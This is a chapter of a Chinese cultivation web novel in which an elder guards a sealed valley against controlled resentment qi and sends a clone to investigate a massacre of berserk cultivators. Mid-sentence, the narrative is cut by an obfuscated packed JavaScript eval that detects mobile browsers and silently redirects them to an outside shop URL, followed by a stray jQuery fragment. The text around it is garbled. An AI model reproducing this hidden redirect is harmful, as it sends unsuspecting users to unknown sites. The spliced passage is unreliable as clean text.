将储物袋递过去之后,柳玄音的目光越过她,落在身后的萧今安身上。
眉头几不可察地拧起,片刻后收回目光,重新看向沈知微。
“你要带他去?”
她道:“苍芜谷的怨气虽然被封印了,但依照目前的情况,封印并不算完全稳固,倘若出了意外导致怨气外泄,首当其冲受到影响的就是他这种血脉不纯之人,这一点,你应该比我更清楚。”
沈知微自然知道,一旦怨气外泄,最先被波及的一定是萧今安。
可他体内的封印才做了第一次,随着境界提升,封印会逐渐松动,必须不断加固才能让他正常修炼。
但这次去苍芜谷归期不定,她也说不准自己什么时候能回来。
把他一个人留在宗门,万一错过了二次封印的最佳时间,就算没有怨气诱发,依旧会失控。
两者相比,还是带在身边更稳妥。
“知道,我会注意。”
沈知微神色没什么变化,毕竟她有能力护他平安。
见她坚持,柳玄音眼底掠过一丝漠然,也不再劝,于她而言,萧今安本就是个隐患,活着是他命好,死了也算减少宗门的风险。
她微微侧身,让出通往传送阵的道路:“传送阵灵力充足,随时可以启动。”
沈知微侧头看向身侧安静伫立的少年:“走了。”
萧今安跟在她身后踏上传送阵。
她抬手朝阵眼注入一道灵力,传送阵的阵纹瞬间亮起,瞬间将两人的身影吞没。
失重感只持续了片刻,待白光散去,眼前的景象已经截然不同。
脚下是苍芜谷的传送阵,比天衍宗那个简陋了不少。
几个弟子正在巡逻,见到传送阵亮起连忙迎上来,看清是沈知微之后齐齐松了口气,领头那个行了个礼,声音里透着些许急切:“宋长老,您可算来了!”
他的话还没说完,远处山谷的方向忽然传来一声闷响,在场弟子们脸色齐齐一变,领头那个咽了口唾沫:“又开始了,这已经是今天的第三次了。”
领头的弟子蹙着眉向沈知微解释:“不知道是谁,每隔一段时间就攻击一次结界,封长老带人在那边守了一整夜,说情况不太对,让您一到就直接过去。”
沈知微没再多问,直接朝苍芜谷的方向走去,萧今安紧随其后。
赶到封印结界外围时,封阑音正蹲在一处阵脚旁边,手里捏着一枚已经裂成两半的灵石,脸色不太好看。
听到脚步声,她抬起头,看见沈知微的瞬间,紧拧了的眉头终于松开了些许。
“宋长老。”
沈知微轻轻颔首,目光扫过整片结界。
几处受过冲击的位置,已经变得有些透明,祝安柠正领着一众弟子不断灌注灵力,紧急修补法阵。
“查清楚是谁攻击的了吗?”
沈知微皱着眉一脸费解,怨气这种东西不论人、妖、魔,都是敬而远之的,沾染的下场除了走火入魔,疯癫至死没有第二种情况。
到底是哪个缺心眼的会来动结界。
封阑音缓缓抬眸,神情夹杂着些许迟疑:“攻击结界的,未必是人。”
听完后,沈知微眉头拧的更紧了。
封阑音继续往下说:“我昨天在这守了一夜,结界被攻击的时候没有发现任何人,事后也没有在结界表面发现灵气或者魔气的痕迹。”
她话音稍顿,语气里添了几分不可置信:“只有怨气残留的痕迹,而且,被攻击的地方都是内外夹击的。”
沈知微抬眸:“你的意思是,攻击结界的是怨气?并且这些怨气有人在操控?”
封阑音没有接话,但她的沉默本身就是回答。
两人对视了一瞬,都在对方眼底看到了同样的东西。
怨气是没有灵智的,它在世间存在的形式只有两种,要么侵入修士识海,将人变成只会杀戮的疯子,要么自然存在于天地间,慢慢稀释消散。
那日怨气的浓度已经不具备自然消散的条件,所以她才会让掌门通知其他宗门注意。
可若真的是怨气,它既没有侵入修士识海,也没有沉寂于天地之间,反而开始救起了它的“同伴”。
并且还是内外夹击这种战略性攻击。
从二百年前那场灾难开始,再到这几次突然出现的暴乱,还有苍芜谷里面的聚怨阵,无一不在告诉她们,有人在背后作怪。
可他到底是用什么方法,或是用什么东西来操控的,她们无从得知。
这个人能对怨气操控到什么地步,她们也无从得知。
沈知微的目光落在破损的结界上:“先把那几缕逃出去的怨气抓住,背后之人不会善罢甘休的。”
它流落在外总归是个隐患。
那几缕怨气出来时对标的是大乘中期的修为,在场众人除沈知微之外都没什么把握。
封阑音点头,她也是这个想法。
两人商定之后,便在封印附近守了下来。
封阑音重新调配了巡逻的人手,又在原本的阵法上多设了一层感应阵法,只要有一丝怨气波动,阵法就会立刻预警。
然而出乎意料的是,那些原本每隔几个时辰就就攻击一次结界的怨气,在沈知微到来之后,竟完全消失了。
整整数日,苍芜谷安静得过分。
沈知微将神识往外扩了一圈又一圈,渡劫期的神识几乎要把苍芜谷每一寸地皮都翻开看看,依旧没有发现任何异常。
她收回神识,眉头微蹙。
先前怨气不间断地攻击结界,足以证明幕后之人对此势在必得,绝对不可能突然停下。
“封长老。”
她开口询问:“我来苍芜谷的消息,都有谁知道。”
封阑音瞬间听懂她的顾虑,短暂沉默后开口:“知晓你行踪的,只有宗门几位长老,以及此地驻守的弟子。”
她神色笃定,继续说道:“这里驻守之人皆是我万象峰内门弟子,家世清白,身份绝对可靠,我信得过他们。”
沈知微颔首,不再追问。
“但一味守着,终究不是长久之计。”
怨气在外多留一日,变数便多一分。
这股怨气凶性极强,足以让大乘期修士迷失心智、走火入魔。
若真有哪个大乘期的修士被它缠上,入了魔,又是一场新的灾难。
更何况,那个藏在暗处的人指不定在谋划什么。
这一个月里,天衍宗也派出不少人查探那些怨气的下落,但始终一无所获。
她们不能坐以待毙。
但若她离开苍芜谷去追查,那些怨气再卷土重来,此地没有人能够压制。
她分身乏术,封阑音也明白这个道理,两人一时都沉默下来,气氛有些僵持不下。
就在这时,营帐外忽然传来一阵急促的脚步声。
一名执事弟子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17773529|209969||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
掀开帐帘快步走进来,将手里捏着的信递给沈知微。
“长老,东境边界锦安镇发现多名修士走火入魔。”
沈知微指尖捏着信纸,目光快速扫过内容,心头泛起几分疑虑。
东境与苍芜谷相隔甚远。
这次修士走火入魔,是先前逃窜在外的怨气作祟,还是背后之人新催生的怨气?
她已然动了去探查的心思。
可苍芜谷的危机还未真正解除,她一个人无法兼顾两地。
沈知微垂眸沉默片刻,眉宇间凝着几分迟疑。
几番权衡拉扯,她心底终于敲定主意,抬手掐出法诀。
灵力自周身缓缓漾开,一道身形在她身侧慢慢凝实。
眉眼容貌、身形气度与她本体别无二致,唯独周身萦绕的灵压稍弱一截。
分身只能承担本体最高一半的修为,虽然只有化神巅峰,不过大多数情况下也够用了。
沈知微抬眸看向封阑音:“分身前往锦安镇查探,本体留在苍芜谷坐镇。”
只要本体守在这,结界有异动,她便能第一时间出手镇压。
封阑音望着眼前两道一模一样的身影,缓缓颔首应下。
事不宜迟,沈知微不再迟疑,当即带着萧今安动身前往锦安镇。
……
锦安镇。
她们单是在路上就花了一天时间。
两人刚落地,一股浓烈的血腥味就直冲面门。
沈知微下意识皱起眉头,抬手遮住口鼻。
旁边的萧今安神情倒是没什么变化。
此地已经被当地的宗门封锁,看样子那些堕魔修士已经被解决了。
锦安镇本就是凡人居所,只零星住着些散修。
少数反应快的人拼尽全力逃出了镇子,剩下的绝大部分人,连同被怨气操控自相残杀的修士,尽数殒命于此。
入目之处满目疮痍,房屋院墙大面积坍塌,路面到处横躺着尸体,血迹更是见怪不怪。
甚至地上还有不少人体器官和断肢。
放眼望去一片惨烈。
沈知微压下不适感,走到一个领头的人面前,还没出示自己的令牌,那人就已经认出了她。
“宋、宋昭衍!”
李茂脱口唤出这个名字,话音落下才猛然察觉失礼,慌忙改口:“宋长老。”
他所在的宗门在整个修仙界连名号都排不上,他也只是从别人口中听说过宋昭衍当年的战绩,从未想过有朝一日能亲眼见到本人。
他下意识把沾了血污的手往身后藏了藏,站姿也比方才拘谨了几分,开口时底气明显不足:“我们接到消息就尽快赶来了,可还是晚了些。”
他说完便有些忐忑地抬眼去看她的反应,宋昭衍心系苍生之名人人皆知,他生怕她怪罪他们办事不力。
但他预想中的画面没有出现,沈知微并没有责备,也没有高高在上的审视。
她问:“这里是什么情况?”
李茂深吸一口气,勉强把那份拘谨压了下去。
宋昭衍不是什么恶名在外的煞星,更何况眼下整座镇子尸横遍野,活人在废墟里扒找幸存者,死人躺在街上等着收殓,实在没有心情去计较什么。
他定了定神,重新站直了身子,语气恢复了正常:“走火入魔的修士一共七个,其中三个在我们来之前就被镇上的散修合力击杀了,剩下四个是我们的人制服的。”